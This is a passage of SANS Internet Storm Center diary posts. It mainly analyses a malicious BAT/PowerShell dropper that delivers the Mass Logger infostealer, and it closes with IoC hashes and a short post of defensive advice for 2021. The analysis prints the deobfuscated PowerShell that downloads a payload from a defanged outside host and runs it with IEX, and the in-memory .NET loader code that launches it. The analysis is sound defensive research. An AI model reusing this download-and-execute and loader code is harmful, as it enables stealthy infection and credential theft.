After reversing and decoding the contents of the $Dxjyp variable, the main body of the script became readable. The script was supposed to download and execute contents of the file A12.jpg downloaded from http[:]//topometria[.]com[.]cy.

$Tbone='*EX'.replace('*','I'); sal M $Tbone; do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping); $p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072); [System.Net.ServicePointManager]::SecurityProtocol = $p22; $mv='(N'+'ew'+'-O'+'b'+'je'+'c'+'t '+ 'Ne'+'t.'+'W'+'eb'+'C'+'li'+'ent)'+'.D'+'ow'+'nl'+'oa'+'d'+'S'+'tr'+'ing(''http[:]//topometria[.]com[.]cy/A12.jpg'')'|I`E`X; $asciiChars= $mv -split '-' |ForEach-Object {[char][byte]"0x$_"}; $asciiString= $asciiChars -join ''|M

The URL contained withing the script is no longer active, but I managed to find a copy of the A12.jpg file downloaded in an Any.Run task from September, in which someone analyzed differently named (but functionally identical) version of the batch script[4].

The JPG file (that was of course not JPG at all) was 3.25 MB in size. This turned out not to be too much when one considers that it contained the main malicious payload in the form of one EXE and one DLL, but before we get to these files, let’s quickly take a look at A12.jpg.

Its contents looked exactly as one would expect given the last two lines of the PowerShell code we’ve seen above (i.e. hex-encoded ASCII characters separated by hyphens).

24-74-30-3D-2D-4A-6F-69-6E-20-28-28-31-31-... ... ... 0D-0A-20-20-0D-0A-0D-0A-0D-0A-20-20

At this point it is good to mention that for the purposes of analyzing any potentially malicious code, it can be invaluable to remember hex values of several of ASCII characters. Besides the usual “M” (0x4D) and “Z” (0x5A), which create the header of Windows PE executables, as well as couple of others, it may be a good idea to also remember that “$” has the hex value 0x24. In this way, even if we got our hands on the A12.JPG file without any other context, we might deduce that it might contain code in one of the languages, in which the dollar sign is used to denote variables.

After decoding the downloaded file, it became obvious that it did indeed contain a part of a PowerShell script. What was especially interesting about it were two variables which seemed to each contain a PE structure.

$t0=-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])}); sal g $t0 [String]$nebj='4D5A9>^>^3>^>^>^04>^>^>^FFFF>^>^B8>^... ... ...>^'.replace('>^','00') function PuKkpsGJ { param($gPPqxvJ) $gPPqxvJ = $gPPqxvJ -split '(..)' | ? { $_ } ForEach ($wbdtbuBT in $gPPqxvJ){ [Convert]::ToInt32($wbdtbuBT,16) } } [String]$CDbvWcpeO='4D5A9>^>^3>^>^>^04>^>^>^FFFF>^>^B8>^... ... ...>^'.replace('>^','00') [Byte[]]$JJAr=PuKkpsGJ $CDbvWcpeO $y='[System.Ap!%%%%#######@@@@@@@****************ain]'.replace('!%%%%#######@@@@@@@****************','pDom')|g; $g55=$y.GetMethod("get_CurrentDomain") $uy='$g55.In!%%%%#######@@@@@@@****************ke($null,$null)'.replace('!%%%%#######@@@@@@@****************','vo')| g $vmc2='$uy.Lo!%%%%#######@@@@@@@****************($JJAr)'.Replace('!%%%%#######@@@@@@@****************','ad') $vmc2| g [Byte[]]$nebj2= PuKkpsGJ $nebj [g8fg0000.gfjhfdgpoerkj]::gihjpdfg('InstallUtil.exe',$nebj2)

Indeed, after replacing all of the “>^” pairs in the two variables with “00” and saving the resultant values from each of the variables in a file, the hypothesis was proven true. There were indeed two PE files contained within the script – one 42 kB DLL and one 514 kB EXE, both written in the .NET family of languages.

After a little more deobfuscation of the script in A12.jpg, it became obvious that it basically amounted to the following two lines of code, in which the purpose of the two files can be clearly seen – the script was supposed to load the DLL into memory and then ensure execution of the main malicious executable with its help.

[System.AppDomain].GetMethod("get_CurrentDomain").Invoke($null,$null).Load([DLL file])| IEX [g8fg0000.gfjhfdgpoerkj]::gihjpdfg('InstallUtil.exe',[EXE file])

Indeed, you may see the relevant part of the DLL in the following image.

After a quick analysis, the EXE file itself turned out to be a sample of the Mass Logger infostealer.

Although I didn’t find any exceptionally large or small malicious files in the batch of quarantined e-mails from 2020, the small BAT file discussed above turned out to be quite interesting in its own way, as the following chart summarizes.

Let us see what 2021 brings us in terms of malware - perhaps next year, we will have a chance to take a look at something exceptionally small or unusually large again...

Indicators of Compromise (IoCs)

A megállapodás feltételei_doc04361120200812113759-ACF.28668_DPJ2020012681851.PDF.bat (1.68 kB)
MD5 - 71bdecdea1d86dd3e892ca52c534fa13
SHA1 - 72071a7e760c348c53be53b6d6a073f9d70fbc4b

A12.jpg (3.25 MB)
MD5 - 60b86e4eac1d3eeab9980137017d3f65
SHA1 - d41b417a925fb7c4a903dd91104ed96dc6e1982b

ManagmentClass.dll (42 kB)
MD5 - 8a738f0e16c427c9de68f370b2363230
SHA1 - 0ac18d2838ce41fe0bdc2ffca98106cadfa0e9b5

service-nankasa.com-LoggerBin.exe (514 kB)
MD5 - 4b99184764b326b10640a6760111403d
SHA1 - 2a61222d0bd7106611003dd5079fcef2a9012a70

[1] https://isc.sans.edu/forums/diary/Picks+of+2019+malware+the+large+the+small+and+the+one+full+of+null+bytes/25718
[2] https://app.any.run/tasks/801cb6a1-6c66-4b98-8b38-14b3e56d660a/
[3] https://isc.sans.edu/forums/diary/Definition+of+overkill+using+130+MB+executable+to+hide+24+kB+malware/26464/
[4] https://app.any.run/tasks/32b4519f-3c10-40f5-a65a-7db9c3a57fd0/

-----------
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 4.

ISC Stormcast For Monday, January 4th 2021 https://isc.sans.edu/podcastdetail.html&#x3f;id=7312, (Mon, Jan 4th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. január 3.

Protecting Home Office and Enterprise in 2021, (Sat, Jan 2nd)

Because of COVID, 2020 saw a major shift from working at the "office" to working at home which led to shift the attacks to the user @home. Everything points that 2020 was a year for ransomware and COVID-19 themed campaigns. Without exceptions, phishing emails have been the most prolific initial attack vector targeting organizations and home users. This will likely get worse and more disruptive this coming year.

Past 14 Days - My IP Threat Intel Activity

Every year there are prediction on what we should expect in the coming year and what to watch for. Instead, what can be done to secure the enterprise?

  • Implement multi-factor authentication
  • Extending security to a remote force
  • Review cloud security policies
  • Better protection for IoT
  • Must ensure backups are secure and cannot be reached to prevent attackers from finding and delete them
  • Equally important - regularly test backups to ensure the data can be recovered
  • Use and share Threat Intel to track suspicious activity [1][2]
  • Better network analytics and log collection [3][4][5]
  • Monitor host and network activity [3][4][5]
  • Better detection and prevention against phishing email attacks [10]
  • Review and test employees against security awareness program [11]
  • Apply system security update as soon as appropriate
  • Keep antivirus software current

Over the past year, one of the most difficult tasks has been how to detect and prevent being compromised by unmanaged devices. With a large population of employees working from a home office, some forced to use their personal devices, if compromised, have the potential of exploiting other systems in their home network as well as the enterprise connected network (i.e. VPN access to employer network). This challenge will continue for the forceable future.

Share your predictions for 2021, what is going to keep you up at night?

[1] https://www.anomali.com/resources/staxx
[2] https://otx.alienvault.com
[3] https://www.elastic.co
[4] http://rocknsm.io
[5] https://securityonionsolutions.com
[6] https://us-cert.cisa.gov
[7] https://cyber.gc.ca
[8] https://www.ncsc.gov.uk
[9] https://www.enisa.europa.eu/topics/csirts-in-europe
[10] https://cyber.gc.ca/en/assemblyline
[11] https://www.sans.org/security-awareness-training?msc=main-nav

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.